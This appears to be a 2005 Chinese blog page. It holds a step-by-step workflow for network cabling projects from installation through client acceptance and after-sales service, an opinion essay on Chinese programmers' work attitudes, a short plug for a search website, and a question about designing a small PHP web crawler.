16项目经理在分段项目施工过程中,应对各分段施工小组的施工质量、施工进度、施工纪律进行抽查,并且及时的发现问题,并进行指导与调整,避免出现返工、窝工等现象及时进行突发事件进行处理。对不合格的施工部分应及时要求进行返工,事后追究其相关人员的责任。
每天的项目施工结束后,项目经理应组织全体施工技术人员、土木施工负责人对当天施工情况进行总结,指出当天施工过程中的不足,并且责令当事负责人进行改正,及时发现施工人员的心理波动情况,提早进行沟通。注意施工人员的身体健康情况,作好后勤保障的指导工作。进行次日的工作安排。
17 分段项目施工结束后,各分段项目施工负责人应向项目经理提供分段项目的竣工报告,项目经理安排下一段项目施工任务,安排分段项目小组进行施工,项目经理要对已经完成的分段项目进行质量抽查与施工质量评估。
18 全部分段项目施工结束后,各分段项目负责人将全部工程安装记录、工程技术文档等提交项目经理,安排土木施工人员全面整理施工现场卫生,项目经理检查合格后安排土木施工人员离场,技术人员开始全面的网络测试,网络设备的安装、调试开始,安装、调试人员进场。
19 网络测试阶段
网络工程师根据各项施工图纸、网线以及模块安装记录等原始技术文档开始进行测试,测试过程中填写施工测试记录,排除各种线路不通的情况,测试完毕后提交综合布线施工测试情况报告、线路路由文档,配线架安装对照表。
项目经理根据测试报告的结果随机进行抽查,并组织人员对项目进行阶段性内部验收,出具内部阶段工程验收报告。
20网络设备的安装、调试
网络工程师根据项目工期的要求,进行网络设备的安装调试、填写设备安装技术,并且向项目经理提交相关的技术文档。
技术文档包括:IP地址分配表 路由器、交换机、防火墙配置文档及说明 服务器配置文档 网络设备调试报告
21 进行内部总验收
在网络工程师完成网络设备及其相关软件的调试后,整个网络项目施工部分告一段落,项目经理应组织各分段项目负责人对整个网络项目进行内部总验收(验收项目、验收标准同甲方验收),对在验收过程中发现的不符合验收标准的部分要求相关负责人在最短时间内进行返工,并及时上报完成结果。
项目经理将内部验收单以及相关的技术文档、验收文档进行整理、备份,发回公司。
项目基本结束,部分工程师与技术人员退场。
22项目甲方验收
项目经理应提前一天通知甲方单位项目负责人,并且准备好全部与验收有关的各种验收稳当与技术文档,陪同甲方项目组验收人员对工程进行验收,相关技术负责人进行讲解,并且向甲方验收组人员演示各种功能,甲方验收合格后,应向甲方人员提供全套施工文档、技术文档(书面、电子),并且进行技术交底,并且根据合同中规定的各项要求,对甲方相关技术人员进行培训等。
项目经理与相关技术负责人离场
23项目交接
技术人员在验收完成后留场进行项目的交接工作,向甲方的技术负责人员进行项目交接,为甲方技术人员演示各种网络故障的分析、排除方法,网络设备的维护调试方法,以及技术文档的使用方法,在规定的时间内完成项目交接工作,在征得甲方同意后离场,整个项目施工阶段结束。
24建立客户档案
在项目移交工作完毕后技术人员建立该客户的客户服务维修档案表,记录日常电话咨询与上门服务情况。
25 在销售代表接到客户的服务要求电话后,应马上填写网络技术服务申请单,注明客户的基本信息与简单的故障现象,并提交给网络技术总监。
26网络技术总监根据相应的故障现象情况安排相应的技术工程师受理该项服务请求。
27技术工程师根据客户档案的情况与服务申请单记录情况电话联系进行故障排除。
28.1 排除
技术人员填写服务报告表,注明故障现象。
28.2未排除
技术人员填写出差申请单,申请到用户现场进行故障的分析与排除。
29技术总监与销售代表需对服务申请单审核,并且签字确认同意技术服务人员出差到甲方用户现场进行服务。
30服务工程师到达用户现场后对甲方的故障现象进行排除
30.1排除
30.2未排除
技术人员应马上分析故障原因,如非我方技术原因等特殊情况造成的故障,技术人员应马上与甲方进行沟通商讨解决方案,并迅速将情况通报技术总监。
31故障排除后,技术人员在填写完故障情况排除报告后,请客户在服务申请单上签字确认此次服务,如需收费应向用户收取响应费用并提供收据。技术服务人员可以离场。
32到达公司后技术人员应马上找技术总监签字确认此次服务。
33技术人员凭有用户签字的服务单到财务出办理财务手续,报销出差费用与补助。
全部流程结束。

2005年12月29日

介绍
眼高,手低,知识面宽,深度浅;有自己的理想和目标,但实施的决心太小,还总闲工资太少,觉得老板太扣。于是总是“跳呀跳”。
还是让我们实实在在的干点儿事吧!!!


中国的大部分程序员都有一个通病不知大家有没有感觉到:眼高,手低,知识面宽,深度浅;有自己的理想和目标,但实施的决心太小,还总闲工资太少,觉得老板太扣。于是总是“跳呀跳”。(也许会让一些人骂,骂就骂吧,不过这是事实,当然,我说的那些程序员,是指一些人,不是所有的程序员们,由其是那些为中国软件产业做出贡献的人们,我感谢他们)。
人说,到国外作软件,中国的程序员最吃香,由其在国内干了几年的。为什么?中国的程序员懂得很多很多,而且,很能吃苦,在下班后还在学习和工作(当然,加班要给加班工资的),还可以节省培训费用(每天都在自我培训——不停的学习),能创造较大的利润空间。
为什么,同样是中国的程序员,在国内就不行呢?
有社会方面的原因,也有中国国情和长期形成的一种人才应用的问题。但最大的问题还是在程序员们。
君不见,国内的程序员们,在工作时间内,有多少时间给了工作(当然,我说的工作,不是人在单位就算工作,而是真正的工作,在为单位创造利润和价值。)。做程序员本身工作压力就大,这不假,但在国外工作的程序员的压力又有谁能体会呢,他们的工资是高一些,但他们的工作压力和工作时要有的工作效率,要比国内大几倍,甚至说大几十倍,都不算夸张的。
如果国内的程序员们,同样。也拿出与国外工作的程序员一样的精力和职业态度,那中国的软件帝国也会升起的。
我在国外工作的一个朋友说:他们每天上班时间,几乎没有说闲话的工夫;下班后为项目还要学习新东西。想学点自己的东西,没那时间。老外就是,一分钱要产生一分钱的效益。给你十元钱的工资,你就不能只做九元钱的活。想换工作,那你就得先辞职,才有时间去找新工作。
听了他的话,我们国内又是个什么情况?我们都身临其境,不用我说,大家心里都明白着呢!!!
眼高,手低。都觉得自己是块料,都想做项目经理级的人物,都觉得自己可以做系统分析员,那程序谁来编。都觉得自己很“牛”。可象牛一样不记得失,肯塌心做事的人有几个。牛“牛气”是有本钱的,他们吃的是草,流出来的可是最有营养的“奶”,干的可是最累的活。你做了吗?你有这些本钱吗?如果你有,你可以“牛气、牛气”,没有人说你的。
我曾经,也是一个这样的人。牛,牛得很。可做了六七年IT,也没有做出点自己的东西,有什么可牛的。有什么理由,把眼珠放到头顶上去呢。充其量,也就是对别人做出的东西,用的比另一些人熟练而已;接触的东西比一些人多一些而已;别人不能解决的问题,我能解决而已;用别人做出的东西为某些人服务了一下而已。现在,吃得比别人好,喝的比别强,在公司里,老板说话也要看三分。可我又做出了点什么让自己满意的东西?没有。“没有”,就没有什么可牛的。
现在,我想通了,看透了。我也要让自己有“牛气”的资本。

上面的东西,只是我个人的一点看法,说话没有把门的,如果触着那位的“心”了,请原谅,我非有心的。我只是想让大家实实在在的干点儿事。但也不是说,人人都去做研究。研究出来了,还得有人用吧。现在讲的就是服务,那就好好用别人的东西为人民服务吧!这也是一种幸福。你会在为别人服务中,体会到你的价值和生活的意义的。

网站推荐:去哪儿旅游搜索引擎http://www.qunar.com/twell/longwell?locale=zh

2005年12月26日

 有这样一个网站大家看看是否值得关注
1:他在一个著名的城市运营,这个城市拥有千万的人口
2:他是一个搜索网站
3:他跟qunar 相同的是,他同样是一个专业搜索引擎
4:这个城市有诸多的大网络公司,但他在其中游刃有余
5:163、sohu、qunar同在这所城市
5:这个网站每天的日访问量在不断地上升
6:虽然他刚出生不久,但他正在健康成长
6:他有一个凝聚力很强的团队,每人都为他健康成长努力着
7:重要的是,你的关注将影响他的成长

2005年12月22日

您好!

我想模拟请求抓取固定3个站点的链接,然后抓取入库。因此想请教微型搜索引擎蜘蛛的设计思路。 

例如,我这里有3个站点
www.a.com
www.b.com
www.c.com
这3个站点都是每天更新的
我想获得里面的相关内容,例如
http://www.qunar.com/twell/longwell,这个从很多站点旅游搜索的,http://www.jobui.com/这个从很多站点搜索职业的。
http://www.chinabbs.com/这个从论坛更新消息的。


想请教php如何设计?